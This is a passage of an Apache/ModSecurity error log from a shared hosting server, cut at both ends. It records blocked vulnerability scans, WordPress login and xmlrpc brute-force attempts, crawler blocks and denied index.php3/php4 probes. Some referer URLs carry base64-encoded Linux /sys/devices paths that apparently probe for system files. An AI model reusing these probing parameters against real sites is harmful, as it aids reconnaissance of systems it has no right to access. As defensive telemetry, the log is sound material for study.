18:22:47.245282 2026] [security2:error] [pid 646876:tid 646944] [remote 17.22.245.88:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 88.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30V9yTkdrNlD40tSHPEQAAGUE"] [Sat Jun 13 18:22:47.459506 2026] [security2:error] [pid 715691:tid 715927] [client 87.250.224.216:41420] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Mozilla\\\\/5\\\\.0 \\\\(compatible; YandexBot\\\\/3\\\\.0; \\\\+http:\\\\/\\\\/yandex\\\\.com\\\\/bots\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/othercrawler.conf"] [line "3"] [id "901008"] [msg "Yandex Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "just2086.justhost.com"] [uri "/robots.txt"] [unique_id "ai30V7V-dFiaX9AtWiQdyAAAAWA"] [Sat Jun 13 18:22:47.548373 2026] [access_compat:error] [pid 715691:tid 715710] [remote 57.141.14.86:41382] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:47.548820 2026] [access_compat:error] [pid 715691:tid 715710] [remote 57.141.14.86:41382] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:47.571699 2026] [access_compat:error] [pid 715691:tid 715766] [remote 57.141.14.72:49355] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:47.572001 2026] [access_compat:error] [pid 715691:tid 715766] [remote 57.141.14.72:49355] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:47.728071 2026] [access_compat:error] [pid 646876:tid 646925] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:22:47.728359 2026] [access_compat:error] [pid 646876:tid 646925] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ2 [Sat Jun 13 18:22:47.793050 2026] [security2:error] [pid 715691:tid 715725] [remote 17.246.15.40:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30V7V-dFiaX9AtWiQd0gABHA8"] [Sat Jun 13 18:22:47.934916 2026] [security2:error] [pid 646876:tid 646983] [remote 17.22.253.96:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30V9yTkdrNlD40tSHPHQAAA2g"] [Sat Jun 13 18:22:48.242540 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.101:44556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:48.242815 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.101:44556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:48.243788 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ1L3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:22:48.244051 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ1L3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:22:48.802693 2026] [core:error] [pid 715691:tid 715918] [client 38.111.166.129:27964] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://50-87-31-154.unifiedlayer.com/ [Sat Jun 13 18:22:48.802714 2026] [core:error] [pid 715691:tid 715918] [client 38.111.166.129:27964] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://50-87-31-154.unifiedlayer.com/ [Sat Jun 13 18:22:48.825729 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9ldmVudDYvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:22:48.825995 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9ldmVudDYvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:22:48.915574 2026] [access_compat:error] [pid 715691:tid 715723] [remote 57.141.14.97:50882] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:48.916059 2026] [access_compat:error] [pid 715691:tid 715723] [remote 57.141.14.97:50882] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:48.935751 2026] [security2:error] [pid 715691:tid 715715] [remote 17.246.19.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30WLV-dFiaX9AtWiQd-AABiAU"] [Sat Jun 13 18:22:48.980687 2026] [security2:error] [pid 646876:tid 647050] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/zip/tests/zip_entry_filesize.phpt"] [unique_id "ai30WNyTkdrNlD40tSHPLQAAACo"] [Sat Jun 13 18:22:49.092861 2026] [security2:error] [pid 715691:tid 715888] [client 114.119.146.55:62995] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.dvnewsagency.com"] [uri "/contact.htm"] [unique_id "ai30WbV-dFiaX9AtWiQd_wAAATk"], referer: https://www.dvnewsagency.com/samples.htm [Sat Jun 13 18:22:49.145383 2026] [access_compat:error] [pid 715691:tid 715807] [remote 57.141.14.26:35018] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:49.145644 2026] [access_compat:error] [pid 715691:tid 715807] [remote 57.141.14.26:35018] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:49.154762 2026] [access_compat:error] [pid 646876:tid 646954] [remote 57.141.14.9:26740] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:49.155234 2026] [access_compat:error] [pid 646876:tid 646954] [remote 57.141.14.9:26740] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:49.320210 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDQ= [Sat Jun 13 18:22:49.320525 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDQ= [Sat Jun 13 18:22:49.384194 2026] [access_compat:error] [pid 646876:tid 646887] [remote 57.141.14.108:24569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:49.384483 2026] [access_compat:error] [pid 646876:tid 646887] [remote 57.141.14.108:24569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:49.419625 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.113:56850] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:49.420018 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.113:56850] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:49.460626 2026] [security2:error] [pid 646876:tid 646936] [remote 17.22.253.119:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 119.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30WdyTkdrNlD40tSHPMwAAOTk"] [Sat Jun 13 18:22:49.566777 2026] [security2:error] [pid 715691:tid 715752] [remote 45.236.128.46:48180] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 46.128.236.45.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.sandra-cooper.com"] [uri "/wp-login.php"] [unique_id "ai30WbV-dFiaX9AtWiQeEAABfio"] [Sat Jun 13 18:22:49.611713 2026] [access_compat:error] [pid 715691:tid 715774] [remote 57.141.14.44:38847] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:49.612162 2026] [access_compat:error] [pid 715691:tid 715774] [remote 57.141.14.44:38847] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:49.861273 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:22:49.861564 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:22:50.031427 2026] [access_compat:error] [pid 715691:tid 715749] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:50.031895 2026] [access_compat:error] [pid 715691:tid 715749] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:50.112555 2026] [security2:error] [pid 715691:tid 715823] [remote 45.236.128.46:48180] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 46.128.236.45.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.sandra-cooper.com"] [uri "/wp-login.php"] [unique_id "ai30WrV-dFiaX9AtWiQeJQABRnA"], referer: https://mail.sandra-cooper.com/wp-login.php [Sat Jun 13 18:22:50.177955 2026] [security2:error] [pid 715691:tid 715934] [client 210.217.96.217:38210] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30WrV-dFiaX9AtWiQeKAAAAWc"] [Sat Jun 13 18:22:50.178114 2026] [security2:error] [pid 715691:tid 715934] [client 210.217.96.217:38210] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30WrV-dFiaX9AtWiQeKAAAAWc"] [Sat Jun 13 18:22:50.210186 2026] [security2:error] [pid 715691:tid 715751] [remote 132.255.164.117:47996] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.164.255.132.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mrbradgoreski.com"] [uri "/wp-login.php"] [unique_id "ai30WrV-dFiaX9AtWiQeKgABQSk"] [Sat Jun 13 18:22:50.301102 2026] [security2:error] [pid 646876:tid 647089] [client 172.56.168.133:21457] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30WtyTkdrNlD40tSHPOwAAAFE"] [Sat Jun 13 18:22:50.302343 2026] [security2:error] [pid 646876:tid 647089] [client 172.56.168.133:21457] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30WtyTkdrNlD40tSHPOwAAAFE"] [Sat Jun 13 18:22:50.393035 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:22:50.393512 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:22:50.508319 2026] [core:error] [pid 646876:tid 647082] [client 107.172.223.54:56690] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.unifiedlayer.com/ [Sat Jun 13 18:22:50.508348 2026] [core:error] [pid 646876:tid 647082] [client 107.172.223.54:56690] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.unifiedlayer.com/ [Sat Jun 13 18:22:50.591698 2026] [access_compat:error] [pid 715691:tid 715822] [remote 57.141.14.51:47416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:50.591983 2026] [access_compat:error] [pid 715691:tid 715822] [remote 57.141.14.51:47416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:50.591999 2026] [access_compat:error] [pid 715691:tid 715812] [remote 57.141.14.89:23084] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:50.592299 2026] [access_compat:error] [pid 715691:tid 715812] [remote 57.141.14.89:23084] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:50.783714 2026] [security2:error] [pid 715691:tid 715728] [remote 17.241.227.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30WrV-dFiaX9AtWiQeQwABexI"] [Sat Jun 13 18:22:50.923624 2026] 